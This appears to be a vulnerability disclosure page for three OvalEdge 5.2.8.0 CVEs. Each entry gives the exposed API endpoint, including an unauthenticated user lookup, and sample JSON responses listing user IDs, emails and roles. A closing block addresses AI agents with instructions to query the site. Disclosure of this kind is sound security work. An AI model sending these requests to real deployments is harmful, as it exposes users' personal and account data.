# Sensitive Data Exposure

## Sensitive Data Exposure (unauthenticated) <a href="#finding1" id="finding1"></a>

### CVE-2022-30361

#### OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to <mark style="color:orange;">/user/getUserType</mark>. No authentication is required. The information disclosed is associated with the registered user ID, status, email address,  role(s),  user type, license type, and personal details such as first name, last name, gender, and user preferences.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:orange;">**/user/getUserType?userid=**</mark><mark style="color:red;">**admin**</mark>
{% endhint %}

#### Example Output

<details>

<summary><strong><code>{"userId":"</code></strong><mark style="color:red;"><strong><code>admin</code></strong></mark><strong><code>","password":"[SECRET]","fName":"Admin","lName":"OvalEdge","gender":"Male","pPhone":"","email":"</code></strong><mark style="color:red;"><strong><code>admin@ovaledge.com</code></strong></mark><strong><code>","address":null,"role":"</code></strong><mark style="color:red;"><strong><code>OE_ADMIN</code></strong></mark><strong><code>","title":"Admin","message":null,"name":"Admin OvalEdge","userType":"</code></strong><mark style="color:red;"><strong><code>ovaledge</code></strong></mark><strong><code>","status":"</code></strong><mark style="color:red;"><strong><code>active</code></strong></mark><strong><code>","lastmoddate":"2022-05-01 20:48:59.0","token":"","cityState":null,"slackId":"","notifyViaEmail":0,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":0,"allowServiceDeskAlert":0,"licenseTypeCode":3,"licenseType":"Author &#x26; Analytical User","userSecret":null,"allowTeamAlert":1,"teamMessageUser":false,"allowUpdateOwner":1,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0}</code></strong></summary>

</details>

## Sensitive Data Exposure (authenticated)  <a href="#finding2" id="finding2"></a>

### CVE-2022-30354

#### OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to <mark style="color:orange;">/user/getUserWithTeam</mark>.  Authentication is required. The information disclosed is associated with <mark style="color:red;">all</mark> registered user ID login values.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:orange;">**/user/getUserWithTeam**</mark>
{% endhint %}

#### Example Output

<details>

<summary>[{"userId":"#AIM"},{"userId":"adjensen@example.com"},{"<mark style="color:red;">userId</mark>":"<mark style="color:red;">admin</mark>"},{"userId":"afacer@example.com"},{"userId":"avega@example.com"},{"userId":"bbell@example.com"},{"userId":"bbutterfield@example.com"},{"userId":"bparkin@example.com"},{"userId":"brees@example.com"},{"userId":"cgriffin@example.com"},{"userId":"clee"},{"userId":"cmunford@example.com"},{"userId":"cng@example.com"},{"userId":"cnoel@example.com"},{"userId":"crodriguez@example.com"},{"userId":"cromney@example.com"},{"userId":"cstahle@example.com"},{"userId":"dgatrell@example.com"},{"userId":"dgilbert@example.com"},{"userId":"dgodfrey@example.com"},{"userId":"dhubbard@example.com"},{"userId":"djennings@example.com"},{"userId":"ewilkes@example.com"},{"userId":"gfawson@example.com"},{"userId":"hethington@example.com"},{"userId":"hsederholm@example.com"},{"userId":"idial@example.com"},{"userId":"ipetersen@example.com"},{"userId":"jhall@example.com"},{"userId":"jhurford-reynolds@example.com"},{"userId":"jjohnson@example.com"},{"userId":"jkippen@example.com"},{"userId":"jmerritt@example.com"},{"userId":"joverson@example.com"},{"userId":"jromer@example.com"},{"userId":"kacker@example.com"},{"userId":"kculbertson@example.com"},{"userId":"kgines@example.com"},{"userId":"knipko@example.com"},{"userId":"lbailey@example.com"},{"userId":"lmesserly@example.com"},{"userId":"meparkinson@example.com"},{"userId":"moveson@example.com"},{"userId":"rcwoolston@example.com"},{"userId":"rhoeft@example.com"},{"userId":"rthompson@example.com"},{"userId":"speacock@example.com"},{"userId":"sravi@example.com"},{"userId":"syannetta@example.com"},{"userId":"tbrown@example.com"},{"userId":"tkershaw@example.com"},{"userId":"tlevans"},{"userId":"tmoses@example.com"},{"userId":"tspencer@example.com"},{"userId":"ukonkepudi@example.com"},{"userId":"zkoger@example.com"}]</summary>

</details>

## Sensitive Data Exposure (authenticated) <a href="#finding3" id="finding3"></a>

### CVE-2022-30359

#### OvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to <mark style="color:orange;">/user/getUserList</mark>.  Authentication is required. The information disclosed is associated with the <mark style="color:red;">all registered users</mark>, including user ID, status, email address,  role(s),  user type, license type, and personal details such as first name, last name, gender, and user preferences.

{% hint style="warning" %}
**<https://lxo-ovaledge.afcucorp.local/ovaledge>**<mark style="color:orange;">**/user/getUserList**</mark>
{% endhint %}

#### **Example Output**

<details>

<summary>[{"<mark style="color:red;">userId</mark>":"<mark style="color:red;">adjensen@example.com</mark>","password":"[SECRET]","fName":"Adam","lName":"Jensen","gender":null,"pPhone":"","<mark style="color:red;">email</mark>":"<mark style="color:red;">adjensen@example.com</mark>","address":null,"<mark style="color:red;">role</mark>":"<mark style="color:red;">CONTENT_CREATOR</mark>","title":"","message":null,"name":"Adam Jensen","<mark style="color:red;">userType</mark>":"<mark style="color:red;">SAML</mark>","<mark style="color:red;">status</mark>":"<mark style="color:red;">ACTIVE</mark>","lastmoddate":"2022-03-09 15:04:50.0","token":null,"cityState":null,"slackId":null,"notifyViaEmail":1,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":1,"allowServiceDeskAlert":1,"<mark style="color:red;">licenseTypeCode</mark>":<mark style="color:red;">3</mark>,"<mark style="color:red;">licenseType</mark>":"<mark style="color:red;">Author &#x26; Analytical User</mark>","userSecret":null,"allowTeamAlert":0,"teamMessageUser":false,"allowUpdateOwner":0,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0},{"<mark style="color:red;">userId</mark>":"<mark style="color:red;">admin</mark>","password":"[SECRET]","fName":"Admin","lName":"OvalEdge","gender":"Male","pPhone":"","<mark style="color:red;">email</mark>":"<mark style="color:red;">gheward@example.com</mark>","address":null,"<mark style="color:red;">role</mark>":"<mark style="color:red;">OE_ADMIN</mark>","title":"Admin","message":null,"name":"Admin OvalEdge","<mark style="color:red;">userType</mark>":"<mark style="color:red;">ovaledge</mark>","<mark style="color:red;">status</mark>":"<mark style="color:red;">active</mark>","lastmoddate":"2022-05-01 20:48:59.0","token":"","cityState":null,"slackId":"","notifyViaEmail":0,"zip":0,"outOfOffice":0,"managerid":null,"dgmanagerid":null,"dcmanagerid":null,"allowUserMentions":1,"allowWatchListAlert":1,"allowSystemAlert":1,"allowDqrAlert":0,"allowServiceDeskAlert":0,"<mark style="color:red;">licenseTypeCode</mark>":<mark style="color:red;">3</mark>,"<mark style="color:red;">licenseType</mark>":"<mark style="color:red;">Author &#x26; Analytical User</mark>","userSecret":null,"allowTeamAlert":1,"teamMessageUser":false,"allowUpdateOwner":1,"startIndex":0,"endIndex":0,"notifyViaSlack":0,"allowDqpAlert":0},.........}]</summary>

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.offsecguy.com/cve/ovaledge/vulnerabilities/sensitive-data-exposure.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.